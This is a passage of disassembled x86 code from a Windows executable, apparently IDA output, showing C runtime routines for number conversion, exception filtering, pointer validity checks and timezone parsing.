		mov	eax, [ebp+arg_4]
		cdq
		idiv	ecx
		and	[ebp+arg_4], 0
		mov	ecx, edx
		shl	esi, cl
		sub	ebx, edx
		not	esi


loc_424329:				; CODE XREF: sub_4242F3+58j
		mov	eax, [edi]
		mov	ecx, eax
		and	ecx, esi
		mov	[ebp+var_8], ecx
		mov	ecx, edx
		shr	eax, cl
		or	eax, [ebp+arg_4]
		mov	[edi], eax
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		add	edi, 4
		shl	eax, cl
		dec	[ebp+var_4]
		mov	[ebp+arg_4], eax
		jnz	short loc_424329
		mov	edi, [ebp+var_C]
		push	2
		pop	ebx
		mov	esi, edi
		push	8
		pop	ecx
		shl	esi, 2


loc_42435B:				; CODE XREF: sub_4242F3+86j
		cmp	ebx, edi
		jl	short loc_42436E
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, esi
		mov	eax, [eax+edx]
		mov	[ecx+edx], eax
		jmp	short loc_424375
; ---------------------------------------------------------------------------


loc_42436E:				; CODE XREF: sub_4242F3+6Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [ecx+eax], 0


loc_424375:				; CODE XREF: sub_4242F3+79j
		dec	ebx
		sub	ecx, 4
		jns	short loc_42435B
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4242F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424380	proc near		; CODE XREF: sub_4244EC+Dp
					; sub_424502+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		movzx	ecx, word ptr [eax+0Ah]
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		mov	edi, [ebp+arg_8]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		mov	[ebp+var_8], ecx
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		mov	[ebp+var_4], eax
		jnz	short loc_4243ED
		lea	eax, [ebp+var_C]
		xor	esi, esi
		push	eax
		call	sub_4242D8
		test	eax, eax
		pop	ecx
		jnz	loc_4244AC
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242CC
		pop	ecx


loc_4243E5:				; CODE XREF: sub_424380+E4j
		push	2


loc_4243E7:				; CODE XREF: sub_424380+110j
		pop	eax
		jmp	loc_4244AE
; ---------------------------------------------------------------------------


loc_4243ED:				; CODE XREF: sub_424380+45j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4242B1
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424225
		add	esp, 10h
		test	eax, eax
		jz	short loc_42440E
		inc	ebx


loc_42440E:				; CODE XREF: sub_424380+8Bj
		mov	eax, [edi+4]
		mov	ecx, eax
		sub	ecx, [edi+8]
		cmp	ebx, ecx
		jge	short loc_424426
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242CC
		pop	ecx
		jmp	short loc_424462
; ---------------------------------------------------------------------------


loc_424426:				; CODE XREF: sub_424380+98j
		cmp	ebx, eax
		jg	short loc_424469
		sub	eax, ebx
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242B1
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_4242F3
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424225
		mov	eax, [edi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242F3
		add	esp, 20h


loc_424462:				; CODE XREF: sub_424380+A4j
		xor	esi, esi
		jmp	loc_4243E5
; ---------------------------------------------------------------------------


loc_424469:				; CODE XREF: sub_424380+A8j
		cmp	ebx, [edi]
		jl	short loc_424495
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242CC
		push	dword ptr [edi+0Ch]
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242F3
		mov	esi, [edi+14h]
		add	esp, 0Ch
		add	esi, [edi]
		push	1
		jmp	loc_4243E7
; ---------------------------------------------------------------------------


loc_424495:				; CODE XREF: sub_424380+EBj
		push	dword ptr [edi+0Ch]
		mov	esi, [edi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	esi, ebx
		call	sub_4242F3
		pop	ecx
		pop	ecx


loc_4244AC:				; CODE XREF: sub_424380+55j
		xor	eax, eax


loc_4244AE:				; CODE XREF: sub_424380+68j
		push	1Fh
		pop	ecx
		sub	ecx, [edi+0Ch]
		mov	edi, [edi+10h]
		shl	esi, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	esi, ecx
		or	esi, [ebp+var_C]
		cmp	edi, 40h
		jnz	short loc_4244DD
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], esi
		mov	[ecx], edx
		jmp	short loc_4244E7
; ---------------------------------------------------------------------------


loc_4244DD:				; CODE XREF: sub_424380+14Ej
		cmp	edi, 20h
		jnz	short loc_4244E7
		mov	ecx, [ebp+arg_4]
		mov	[ecx], esi


loc_4244E7:				; CODE XREF: sub_424380+15Bj
					; sub_424380+160j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424380	endp


; =============== S U B	R O U T	I N E =======================================



sub_4244EC	proc near		; CODE XREF: sub_424518+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43D338
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424380
		add	esp, 0Ch
		retn
sub_4244EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424502	proc near		; CODE XREF: sub_424545+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43D350
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424380
		add	esp, 0Ch
		retn
sub_424502	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424518	proc near		; CODE XREF: sub_42199B+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4251F1
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4244EC
		add	esp, 24h
		leave
		retn
sub_424518	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424545	proc near		; CODE XREF: sub_42199B+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4251F1
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424502
		add	esp, 24h
		leave
		retn
sub_424545	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424572	proc near		; CODE XREF: sub_4219D9+65p
					; sub_421ADD+63p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [edx+0Ch]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		test	ebx, ebx
		mov	eax, edi
		jle	short loc_4245AF
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx


loc_424595:				; CODE XREF: sub_424572+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_4245A1
		movsx	edx, dl
		inc	ecx
		jmp	short loc_4245A4
; ---------------------------------------------------------------------------


loc_4245A1:				; CODE XREF: sub_424572+27j
		push	30h
		pop	edx


loc_4245A4:				; CODE XREF: sub_424572+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_424595
		mov	edx, [ebp+arg_8]


loc_4245AF:				; CODE XREF: sub_424572+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_4245C8
		cmp	byte ptr [ecx],	35h
		jl	short loc_4245C8


loc_4245BB:				; CODE XREF: sub_424572+52j
		dec	eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_4245C6
		mov	byte ptr [eax],	30h
		jmp	short loc_4245BB
; ---------------------------------------------------------------------------


loc_4245C6:				; CODE XREF: sub_424572+4Dj
		inc	byte ptr [eax]


loc_4245C8:				; CODE XREF: sub_424572+42j
					; sub_424572+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_4245D2
		inc	dword ptr [edx+4]
		jmp	short loc_4245E4
; ---------------------------------------------------------------------------


loc_4245D2:				; CODE XREF: sub_424572+59j
		push	edi
		call	sub_41AFE0
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_41CC90
		add	esp, 10h


loc_4245E4:				; CODE XREF: sub_424572+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_424572	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4245E9	proc near		; CODE XREF: sub_4219D9+3Fp
					; sub_421ADD+46p ...

var_C		= byte ptr -0Ch
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+arg_0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42464D
		pop	ecx
		lea	esi, [ebp+var_C]
		pop	ecx
		push	offset word_4DBB30
		push	0
		push	11h
		sub	esp, 0Ch
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_4256C2
		mov	dword_4DBB58, eax
		add	esp, 18h
		movsx	eax, byte_4DBB32
		mov	dword_4DBB50, eax
		pop	edi
		movsx	eax, word_4DBB30
		mov	dword_4DBB54, eax
		mov	dword_4DBB5C, offset dword_4DBB34
		mov	eax, offset dword_4DBB50
		pop	esi
		leave
		retn
sub_4245E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42464D	proc near		; CODE XREF: sub_4245E9+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	ax, [edx+6]
		mov	edi, 7FFh
		mov	ecx, eax
		and	eax, 8000h
		shr	ecx, 4
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_42469B
		cmp	ebx, edi
		jz	short loc_424694
		lea	edi, [ecx+3C00h]
		jmp	short loc_4246BC
; ---------------------------------------------------------------------------


loc_424694:				; CODE XREF: sub_42464D+3Dj
		mov	edi, 7FFFh
		jmp	short loc_4246BC
; ---------------------------------------------------------------------------


loc_42469B:				; CODE XREF: sub_42464D+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_4246B3
		cmp	edx, ebx
		jnz	short loc_4246B3
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_4246FE
; ---------------------------------------------------------------------------


loc_4246B3:				; CODE XREF: sub_42464D+52j
					; sub_42464D+56j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx


loc_4246BC:				; CODE XREF: sub_42464D+45j
					; sub_42464D+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		mov	eax, [ebp+arg_0]
		or	ecx, [ebp+var_4]
		shl	edx, 0Bh
		mov	[eax+4], ecx
		mov	[eax], edx


loc_4246D4:				; CODE XREF: sub_42464D+A6j
		test	ecx, esi
		jnz	short loc_4246F5
		mov	edx, [eax]
		add	ecx, ecx
		mov	ebx, edx
		shr	ebx, 1Fh
		or	ebx, ecx
		lea	ecx, [edx+edx]
		mov	[eax], ecx
		mov	[eax+4], ebx
		add	edi, 0FFFFh
		mov	ecx, ebx
		jmp	short loc_4246D4
; ---------------------------------------------------------------------------


loc_4246F5:				; CODE XREF: sub_42464D+89j
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx


loc_4246FE:				; CODE XREF: sub_42464D+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42464D	endp

; ---------------------------------------------------------------------------
		push	2
		call	sub_41DA29
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_42470C	proc near		; DATA XREF: sub_424752o
					; .packed:0043CF78o ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_42472F
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_42472F
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_42472F
		jmp	sub_42255C
; ---------------------------------------------------------------------------


loc_42472F:				; CODE XREF: sub_42470C+Dj
					; sub_42470C+13j ...
		mov	eax, dword_4DBB60
		test	eax, eax
		jz	short loc_42474C
		push	eax
		call	sub_4247A8
		test	eax, eax
		pop	ecx
		jz	short loc_42474C
		push	esi
		call	dword_4DBB60
		jmp	short loc_42474E
; ---------------------------------------------------------------------------


loc_42474C:				; CODE XREF: sub_42470C+2Aj
					; sub_42470C+35j
		xor	eax, eax


loc_42474E:				; CODE XREF: sub_42470C+3Ej
		pop	esi
		retn	4
sub_42470C	endp


; =============== S U B	R O U T	I N E =======================================



sub_424752	proc near		; DATA XREF: .packed:00429028o
		push	offset sub_42470C
		call	dword_42701C	; SetUnhandledExceptionFilter
		mov	dword_4DBB60, eax
		retn
sub_424752	endp


; =============== S U B	R O U T	I N E =======================================



sub_424763	proc near		; DATA XREF: .packed:00429040o
		push	dword_4DBB60
		call	dword_42701C	; SetUnhandledExceptionFilter
		retn
sub_424763	endp


; =============== S U B	R O U T	I N E =======================================



sub_424770	proc near		; CODE XREF: sub_421DB1+6Bp
					; sub_4222C2+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	dword_427018	; IsBadReadPtr
		test	eax, eax
		jz	short loc_424788
		xor	esi, esi


loc_424788:				; CODE XREF: sub_424770+14j
		mov	eax, esi
		pop	esi
		retn
sub_424770	endp


; =============== S U B	R O U T	I N E =======================================



sub_42478C	proc near		; CODE XREF: sub_4222C2+73p
					; sub_4222C2+BFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	dword_4271C8	; IsBadWritePtr
		test	eax, eax
		jz	short loc_4247A4
		xor	esi, esi


loc_4247A4:				; CODE XREF: sub_42478C+14j
		mov	eax, esi
		pop	esi
		retn
sub_42478C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4247A8	proc near		; CODE XREF: sub_4222C2+15Bp
					; sub_42470C+2Dp

arg_0		= dword	ptr  4

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_0]
		call	dword_427014	; IsBadCodePtr
		test	eax, eax
		jz	short loc_4247BC
		xor	esi, esi


loc_4247BC:				; CODE XREF: sub_4247A8+10j
		mov	eax, esi
		pop	esi
		retn
sub_4247A8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42255C


loc_4247C0:				; CODE XREF: sub_42255C:loc_4225ADj
		push	0Ah
		call	sub_4235C9
		push	16h
		call	sub_425955
		pop	ecx
		pop	ecx
		push	3
		call	sub_41B7C2
; END OF FUNCTION CHUNK	FOR sub_42255C

; =============== S U B	R O U T	I N E =======================================



sub_4247D7	proc near		; CODE XREF: sub_422669:loc_4226A8p
		cmp	dword_4DBC20, 0
		jnz	short locret_4247EB
		call	sub_4247EC
		inc	dword_4DBC20

locret_4247EB:				; CODE XREF: sub_4247D7+7j
		retn
sub_4247D7	endp


; =============== S U B	R O U T	I N E =======================================



sub_4247EC	proc near		; CODE XREF: sub_4247D7+9p

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		or	ebx, 0FFFFFFFFh
		push	offset aTz	; "TZ"
		xor	edi, edi
		mov	dword_4DBB68, ebp
		mov	dword_43D410, ebx
		mov	dword_43D400, ebx
		call	sub_425AC7
		mov	esi, eax
		pop	ecx
		cmp	esi, ebp
		jnz	loc_424915
		push	offset dword_4DBB70
		call	dword_4271A0	; GetTimeZoneInformation
		cmp	eax, ebx
		jz	loc_424A44
		mov	eax, dword_4DBB70
		mov	ecx, dword_4DBBC4
		imul	eax, 3Ch
		cmp	word_4DBBB6, bp
		push	1
		pop	edx
		mov	dword_43D368, eax
		mov	dword_4DBB68, edx
		jz	short loc_424863
		mov	esi, ecx
		imul	esi, 3Ch
		add	eax, esi
		mov	dword_43D368, eax


loc_424863:				; CODE XREF: sub_4247EC+69j
		cmp	word_4DBC0A, bp
		jz	short loc_424887
		mov	eax, dword_4DBC18
		cmp	eax, ebp
		jz	short loc_424887
		sub	eax, ecx
		mov	dword_43D36C, edx
		imul	eax, 3Ch
		mov	dword_43D370, eax
		jmp	short loc_424893
; ---------------------------------------------------------------------------


loc_424887:				; CODE XREF: sub_4247EC+7Ej
					; sub_4247EC+87j
		mov	dword_43D36C, ebp
		mov	dword_43D370, ebp


loc_424893:				; CODE XREF: sub_4247EC+99j
		lea	eax, [esp+14h+var_4]
		mov	esi, dword_42717C
		push	eax
		push	ebp
		push	3Fh
		mov	edi, 220h
		push	off_43D3F4
		push	ebx
		push	offset dword_4DBB74
		push	edi
		push	dword_4DBA04
		call	esi	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_4248D0
		cmp	[esp+14h+var_4], ebp
		jnz	short loc_4248D0
		mov	eax, off_43D3F4
		and	byte ptr [eax+3Fh], 0
		jmp	short loc_4248D8
; ---------------------------------------------------------------------------


loc_4248D0:				; CODE XREF: sub_4247EC+D1j
					; sub_4247EC+D7j
		mov	eax, off_43D3F4
		and	byte ptr [eax],	0


loc_4248D8:				; CODE XREF: sub_4247EC+E2j
		lea	eax, [esp+14h+var_4]
		push	eax
		push	ebp
		push	3Fh
		push	off_43D3F8
		push	ebx
		push	offset dword_4DBBC8
		push	edi
		push	dword_4DBA04
		call	esi	; WideCharToMultiByte
		test	eax, eax
		jz	loc_424A3C
		cmp	[esp+14h+var_4], ebp
		jnz	loc_424A3C
		mov	eax, off_43D3F8
		and	byte ptr [eax+3Fh], 0
		jmp	loc_424A44
; ---------------------------------------------------------------------------


loc_424915:				; CODE XREF: sub_4247EC+2Dj
		cmp	byte ptr [esi],	0
		jz	loc_424A44
		mov	eax, dword_4DBC1C
		cmp	eax, ebp
		jz	short loc_424938
		push	eax
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_424A44


loc_424938:				; CODE XREF: sub_4247EC+139j
		push	dword_4DBC1C
		call	sub_41B0B1
		push	esi
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41B4D5
		add	esp, 0Ch
		cmp	eax, ebp
		mov	dword_4DBC1C, eax
		jz	loc_424A44
		push	esi
		push	eax
		call	sub_41BEB0
		push	3
		push	esi
		push	off_43D3F4
		call	sub_41B5F0
		mov	eax, off_43D3F4
		add	esi, 3
		add	esp, 14h
		and	byte ptr [eax+3], 0
		cmp	byte ptr [esi],	2Dh
		jnz	short loc_42498D
		push	1
		inc	esi
		pop	edi


loc_42498D:				; CODE XREF: sub_4247EC+19Bj
		push	esi
		call	sub_41B6EE
		pop	ecx
		mov	bl, 30h
		mov	ecx, eax
		imul	ecx, 0E10h
		mov	dword_43D368, ecx


loc_4249A4:				; CODE XREF: sub_4247EC+1C7j
		mov	al, [esi]
		cmp	al, 2Bh
		jz	short loc_4249B2
		cmp	al, bl
		jl	short loc_4249B5
		cmp	al, 39h
		jg	short loc_4249B5


loc_4249B2:				; CODE XREF: sub_4247EC+1BCj
		inc	esi
		jmp	short loc_4249A4
; ---------------------------------------------------------------------------


loc_4249B5:				; CODE XREF: sub_4247EC+1C0j
					; sub_4247EC+1C4j
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_424A08
		inc	esi
		push	esi
		call	sub_41B6EE
		imul	eax, 3Ch
		pop	ecx
		mov	ecx, dword_43D368
		add	ecx, eax
		mov	dword_43D368, ecx


loc_4249D3:				; CODE XREF: sub_4247EC+1F2j
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_4249E0
		cmp	al, 39h
		jg	short loc_4249E0
		inc	esi
		jmp	short loc_4249D3
; ---------------------------------------------------------------------------


loc_4249E0:				; CODE XREF: sub_4247EC+1EBj
					; sub_4247EC+1EFj
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_424A08
		inc	esi
		push	esi
		call	sub_41B6EE
		pop	ecx
		mov	ecx, dword_43D368
		add	ecx, eax
		mov	dword_43D368, ecx


loc_4249FB:				; CODE XREF: sub_4247EC+21Aj
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_424A08
		cmp	al, 39h
		jg	short loc_424A08
		inc	esi
		jmp	short loc_4249FB
; ---------------------------------------------------------------------------


loc_424A08:				; CODE XREF: sub_4247EC+1CCj
					; sub_4247EC+1F7j ...
		cmp	edi, ebp
		jz	short loc_424A14
		neg	ecx
		mov	dword_43D368, ecx


loc_424A14:				; CODE XREF: sub_4247EC+21Ej
		movsx	eax, byte ptr [esi]
		cmp	eax, ebp
		mov	dword_43D36C, eax
		jz	short loc_424A3C
		push	3
		push	esi
		push	off_43D3F8
		call	sub_41B5F0
		mov	eax, off_43D3F8
		add	esp, 0Ch
		and	byte ptr [eax+3], 0
		jmp	short loc_424A44
; ---------------------------------------------------------------------------


loc_424A3C:				; CODE XREF: sub_4247EC+10Bj
					; sub_4247EC+115j ...
		mov	eax, off_43D3F8
		and	byte ptr [eax],	0


loc_424A44:				; CODE XREF: sub_4247EC+40j
					; sub_4247EC+124j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_4247EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424A4A	proc near		; CODE XREF: sub_422669+A5p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_43D36C, edi
		jnz	short loc_424A5E


loc_424A57:				; CODE XREF: sub_424A4A+148j
					; sub_424A4A+150j ...
		xor	eax, eax
		jmp	loc_424BAA
; ---------------------------------------------------------------------------


loc_424A5E:				; CODE XREF: sub_424A4A+Bj
		mov	esi, [esp+0Ch+arg_0]
		push	1
		pop	ebx
		mov	eax, [esi+14h]
		cmp	eax, dword_43D400
		jnz	short loc_424A7C
		cmp	eax, dword_43D410
		jz	loc_424B7E


loc_424A7C:				; CODE XREF: sub_424A4A+24j
		cmp	dword_4DBB68, edi
		jz	loc_424B54
		movzx	ecx, word_4DBC16
		push	ecx
		cmp	word_4DBC08, di
		movzx	ecx, word_4DBC14
		push	ecx
		movzx	ecx, word_4DBC12
		push	ecx
		movzx	ecx, word_4DBC10
		push	ecx
		jnz	short loc_424ACE
		movzx	ecx, word_4DBC0C
		push	edi
		push	ecx
		movzx	ecx, word_4DBC0E
		push	ecx
		movzx	ecx, word_4DBC0A
		push	ecx
		push	eax
		push	ebx
		jmp	short loc_424AE2
; ---------------------------------------------------------------------------


loc_424ACE:				; CODE XREF: sub_424A4A+65j
		movzx	ecx, word_4DBC0E
		push	ecx
		push	edi
		movzx	ecx, word_4DBC0A
		push	edi
		push	ecx
		push	eax
		push	edi


loc_424AE2:				; CODE XREF: sub_424A4A+82j
		push	ebx
		call	sub_424BF6
		movzx	eax, word_4DBBC2
		add	esp, 2Ch
		cmp	word_4DBBB4, di
		push	eax
		movzx	eax, word_4DBBC0
		push	eax
		movzx	eax, word_4DBBBE
		push	eax
		movzx	eax, word_4DBBBC
		push	eax
		jnz	short loc_424B3C
		movzx	eax, word_4DBBB8
		push	edi
		push	eax
		movzx	eax, word_4DBBBA
		push	eax
		movzx	eax, word_4DBBB6
		push	eax
		push	dword ptr [esi+14h]
		push	ebx


loc_424B31:				; CODE XREF: sub_424A4A+108j
		push	edi
		call	sub_424BF6
		add	esp, 2Ch
		jmp	short loc_424B7E
; ---------------------------------------------------------------------------


loc_424B3C:				; CODE XREF: sub_424A4A+C8j
		movzx	eax, word_4DBBBA
		push	eax
		push	edi
		movzx	eax, word_4DBBB6
		push	edi
		push	eax
		push	dword ptr [esi+14h]
		push	edi
		jmp	short loc_424B31
; ---------------------------------------------------------------------------


loc_424B54:				; CODE XREF: sub_424A4A+38j
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	ebx
		push	4
		push	eax
		push	ebx
		push	ebx
		call	sub_424BF6
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	5
		push	0Ah
		push	dword ptr [esi+14h]
		push	ebx
		push	edi
		call	sub_424BF6
		add	esp, 58h


loc_424B7E:				; CODE XREF: sub_424A4A+2Cj
					; sub_424A4A+F0j
		mov	edx, dword_43D404
		mov	eax, dword_43D414
		mov	ecx, [esi+1Ch]
		cmp	edx, eax
		jge	short loc_424BAE
		cmp	ecx, edx
		jl	loc_424A57
		cmp	ecx, eax
		jg	loc_424A57
		cmp	ecx, edx
		jle	short loc_424BC2
		cmp	ecx, eax
		jge	short loc_424BC2


loc_424BA8:				; CODE XREF: sub_424A4A+166j
					; sub_424A4A+16Aj
		mov	eax, ebx


loc_424BAA:				; CODE XREF: sub_424A4A+Fj
					; sub_424A4A+19Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424BAE:				; CODE XREF: sub_424A4A+144j
		cmp	ecx, eax
		jl	short loc_424BA8
		cmp	ecx, edx
		jg	short loc_424BA8
		cmp	ecx, eax
		jle	short loc_424BC2
		cmp	ecx, edx
		jl	loc_424A57


loc_424BC2:				; CODE XREF: sub_424A4A+158j
					; sub_424A4A+15Cj ...
		mov	eax, [esi+8]
		imul	eax, 3Ch
		add	eax, [esi+4]
		imul	eax, 3Ch
		add	eax, [esi]
		imul	eax, 3E8h
		cmp	ecx, edx
		jnz	short loc_424BE9
		xor	ecx, ecx
		cmp	eax, dword_43D408
		setnl	cl


loc_424BE5:				; CODE XREF: sub_424A4A+1AAj
		mov	eax, ecx
		jmp	short loc_424BAA
; ---------------------------------------------------------------------------


loc_424BE9:				; CODE XREF: sub_424A4A+18Ej
		xor	ecx, ecx
		cmp	eax, dword_43D418
		setl	cl
		jmp	short loc_424BE5
sub_424A4A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424BF6	proc near		; CODE XREF: sub_424A4A+99p
					; sub_424A4A+E8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 1
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		jnz	loc_424C91
		mov	eax, [ebp+arg_C]
		mov	[ebp+arg_8], ebx
		and	[ebp+arg_8], 3
		mov	esi, eax
		jnz	short loc_424C21
		shl	esi, 2
		mov	eax, dword_43D418[esi]
		jmp	short loc_424C2A
; ---------------------------------------------------------------------------


loc_424C21:				; CODE XREF: sub_424BF6+1Ej
		shl	esi, 2
		mov	eax, dword_43D44C[esi]


loc_424C2A:				; CODE XREF: sub_424BF6+29j
		mov	edx, ebx
		lea	ecx, [eax+1]
		imul	edx, 16Dh
		lea	eax, [ebx-1]
		push	edi
		sar	eax, 2
		mov	edi, ecx
		push	7
		add	edi, eax
		lea	eax, [edx+edi-63DBh]
		pop	edi
		cdq
		idiv	edi
		mov	eax, [ebp+arg_10]
		pop	edi
		cmp	edx, [ebp+arg_14]
		jg	short loc_424C64
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		lea	ecx, [ecx+eax-7]
		jmp	short loc_424C6E
; ---------------------------------------------------------------------------


loc_424C64:				; CODE XREF: sub_424BF6+5Ej
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		add	ecx, eax


loc_424C6E:				; CODE XREF: sub_424BF6+6Cj
		cmp	[ebp+arg_10], 5
		jnz	short loc_424CAC
		cmp	[ebp+arg_8], 0
		jnz	short loc_424C82
		mov	esi, dword_43D41C[esi]
		jmp	short loc_424C88
; ---------------------------------------------------------------------------


